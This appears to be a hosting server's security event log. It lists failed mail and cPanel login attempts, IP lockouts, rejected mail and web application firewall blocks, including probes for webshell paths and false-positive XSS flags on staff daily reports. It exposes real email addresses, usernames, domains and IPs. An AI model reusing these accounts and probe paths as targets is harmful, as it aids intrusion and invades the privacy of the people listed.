plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 17:25:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37349: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 17:25:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37349: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 17:27:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:15007: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 17:27:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:15007: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.174.61
country_id: 1733045
description:
[2026-01-14 17:27:50 +0800] info [webmaild] 175.139.174.61 - shiyun@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p><span style=\"text-decoration: underline;\"><strong>wednesday 14-jan-26</strong></span></p>\r\n<ul>\r\n<li>update tsb container arrival</li>\r\n<li>checking k2/k1 for import export shipment.</li>\r\n<li>arrange oats container to comein for unload</li>\r\n<li>following havens container status today.</li>\r\n<li>checking draft bl farnam</li>\r\n<li>prparing si for next shipment 18d</li>\r\n<li>prepare draft shipping document and send to diana for checking and confirmation</li>\r\n<li>follow up with 18d either china shipment having a booking from counterpart.</li>\r\n<li>update tpy import schedule.</li>\r\n<li>follow up uk consol arrangement.</li>\r\n<li>checking quotation with future forwarding for caltech shipment</li>\r\n</ul>||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 17:29:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56756: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.215.95.14
country_id: 6252001
description:
Jan 14 17:29:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.215.95.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.215.95.14
country_id: 6252001
description:
2026-01-14 17:29:10 dovecot_plain authenticator failed for H=(tedry) [50.215.95.14]:60780: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 17:29:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56757: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.121.217.144
country_id: 3996063
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/thumb.php?src=img/photos/3249053632.jpg&size=1000x1000 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.26.86.198
country_id: 3865483
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/2909723992.jpg&size=1000x1000 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.178.126
country_id: 1269750
description:
Jan 14 17:32:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.178.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.126
country_id: 1269750
description:
2026-01-14 17:32:31 dovecot_login authenticator failed for H=([125.17.198.33]) [182.95.178.126]:40204: 535 Incorrect authentication data (set_id=nicholas@eminent.st)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.175.54.146
country_id: 6252001
domain: www.modern.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.63||T:APACHE||RA:192.175.54.146||TA:192.175.54.146||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.159.30
country_id: 953987
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/lead/11/680/1136056 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.71.81
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-43.142.111.71.81||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.113.119.37
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-46.194.113.119.37||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.222.100.46
country_id: 6252001
description:
[2026-01-14 17:47:54 +0800] info [cpaneld] 89.222.100.46 - agpc "GET /login/?login_only=1&user=agpc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.24.102.186
country_id: 2017370
description:
[2026-01-14 17:47:55 +0800] info [whostmgrd] 95.24.102.186 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.239.160.94
country_id: 6252001
description:
[2026-01-14 17:47:58 +0800] info [cpaneld] 216.239.160.94 - agpcorgmy "GET /login/?login_only=1&user=agpcorgmy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpcorgmy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.235.202.47
country_id: 2464461
description:
[2026-01-14 17:48:06 +0800] info [cpaneld] 196.235.202.47 - agp "GET /login/?login_only=1&user=agp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.117.19.99
country_id: 3865483
description:
[2026-01-14 17:47:49 +0800] info [cpaneld] 138.117.19.99 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.237.106.237
country_id: 6252001
description:
[2026-01-14 17:47:51 +0800] info [cpaneld] 68.237.106.237 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.176.150.168
country_id: 2542007
description:
[2026-01-14 17:48:13 +0800] info [cpaneld] 160.176.150.168 - ag "GET /login/?login_only=1&user=ag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ag (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msolistparagraphcxspfirst\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>updated daily collection report &amp; daily cash flow</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>do funds transfer from tsb maybank to tsb ambank</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>do posting sales invoices &amp; filing sales invoice</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>posted assembly orders</li>\r\n<li class=\"msolistparagraphcxsplast\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>upload the plc invoices to the portal prod</li>\r\n</ul>||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 17:57:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57001: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 17:57:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57002: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-14 17:58:42 H=([45.144.212.50]) [45.144.212.50]:64080 F=<arm@da-desk.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-14 17:59:56 H=([45.144.212.50]) [45.144.212.50]:51414 F=<arm@da-desk.com> rejected RCPT <astkch@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 101.47.174.225
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/hr@menhey.com||User:workingmagsoftco||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.61.20.4
country_id: 2017370
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/listing-details.php?id=22468147 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 18:04:18 H=([45.144.212.242]) [45.144.212.242]:61183 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <vincent@wcc.com.my>: Rejected relay attempt: '45.144.212.242' From: 'kamal@sunnyseafoodtrade.com' To: 'vincent@wcc.com.my'


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/es/images/csr.php||SC:/home/indfinitydesign/public_html/es||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.120.205.215
country_id: 6251999
description:
Jan 14 18:12:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.120.205.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.215
country_id: 6251999
description:
2026-01-14 18:12:14 dovecot_plain authenticator failed for H=([10.21.18.214]) [37.120.205.215]:28675: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.188.142.229
country_id: 3996063
domain: stillman.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/stillman.my/cgi-bin HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.20.179.242
country_id: 2017370
domain: stillman.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/stillman.my/cgi-bin/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.243
country_id: 1814991
description:
Jan 14 18:14:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.243
country_id: 1814991
description:
2026-01-14 18:14:36 dovecot_login authenticator failed for H=([111.61.176.243]) [111.61.176.243]:12222: 535 Incorrect authentication data (set_id=support@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.107.136.187
country_id: 690791
description:
Jan 14 18:17:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.107.136.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.107.136.187
country_id: 690791
description:
2026-01-14 18:17:35 dovecot_plain authenticator failed for H=(retal) [185.107.136.187]:47880: 535 Incorrect authentication data (set_id=tom.cheong@tujusetia.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 38.224.194.231
country_id: 3469034
description:
2026-01-14 18:18:37 H=([38.224.194.231]) [38.224.194.231]:4895 F=<dse_NA4@docusign.net> rejected RCPT <chewkc@ajplantations.com.my>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-14 18:18:55 +0800] info [webmaild] 203.106.96.63 - hariz@sutsb.com.my "POST /cpsess4424236109/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [60.53.110.66] != Current IP Address [203.106.96.63]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.107.136.187
country_id: 690791
description:
Jan 14 18:18:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.107.136.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.107.136.187
country_id: 690791
description:
2026-01-14 18:18:37 dovecot_plain authenticator failed for H=(unlodenur) [185.107.136.187]:56603: 535 Incorrect authentication data (set_id=meekee.ngu@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.200.244.248
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=90081515980800 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.115.197.176
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/league/flysystem/src/Adapter/Polyfill HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.190.88.117
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/league/flysystem/src/Adapter/Polyfill/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 97.84.117.138
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-23.97.84.117.138||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.118.255.182
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psy/psysh/bin/package HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 18:25:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57254: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 18:25:10 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57257: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 18:29:30 H=([45.144.212.242]) [45.144.212.242]:50226 F=<no_reply@admin.com> rejected RCPT <enquiry@nexuscollection.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 18:32:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.23.103.43
country_id: 587116
domain: www.euratech.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.euratech.com.my/file/k-flo/k-flo-product-catalogue-2016.pdf HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 18:32:26 H=([45.144.212.242]) [45.144.212.242]:50648 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 18:36:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 128.106.168.241
country_id: 1880251
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">update report for export &amp; import schedule (new order &amp; update existing order).&nbsp;</span></li>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">follow up invoice from scf.</span></li>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">requets noa from yang ming.</span></li>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">request bl draft from bvt.</span></li>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">follow up final coo from kk for sejoong order.</span></li>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">request cargo check in receipt from tvs for hkjc order.</span></li>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">send noa to hk awards for import orders.</span></li>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">send 2nd leg bl to anl for switch bl arrangement.</span></li>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">follow up invoice from bt forwarding.</span></li>\r\n<li><span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: 'times new roman'; mso-bidi-font-family: aptos; mso-ansi-language: en-sg; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">send shipping documents to sejoong.</span></li>\r\n<li><span style=\"font-family: aptos, sans-serif;\">vet draft bl and k2 from greenpen.</span></li>\r\n<li><span style=\"font-family: aptos, sans-serif;\">follow up draft docs from whitby.</span></li>\r\n</ul>||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.97
country_id: 3469034
description:
Jan 14 18:45:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.97 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.124.249.33
country_id: 3469034
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/certificate.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.52.31.29
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/mssa/index.php/newsletter/smy-oct-dec-2013/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.175.149.254
country_id: 99237
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/gallery.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-14 18:50:38 H=([45.144.212.50]) [45.144.212.50]:62068 F=<opskhulna@atlas-bd.com> rejected RCPT <khim@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from atlas-bd.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.55.183.95
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=27031516696051 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 18:53:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57387: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 18:53:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57388: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.196.188.204
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-55.185.196.188.204||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.146.31.200
country_id: 2017370
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-25.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.137
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.6.13 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.151
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-smallscreen-grid.min.css?ver=4.12.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-includes/js/wp-emoji-release.min.js?ver=6.9 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/woocommerce-menu-bar-cart/assets/css/wpmenucart-main.min.css?ver=2.14.12 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/themes/astra/assets/js/minified/flexibility.min.js?ver=4.12.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.1.4 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.146
country_id: 1880251
domain: www.box.com.my
description:
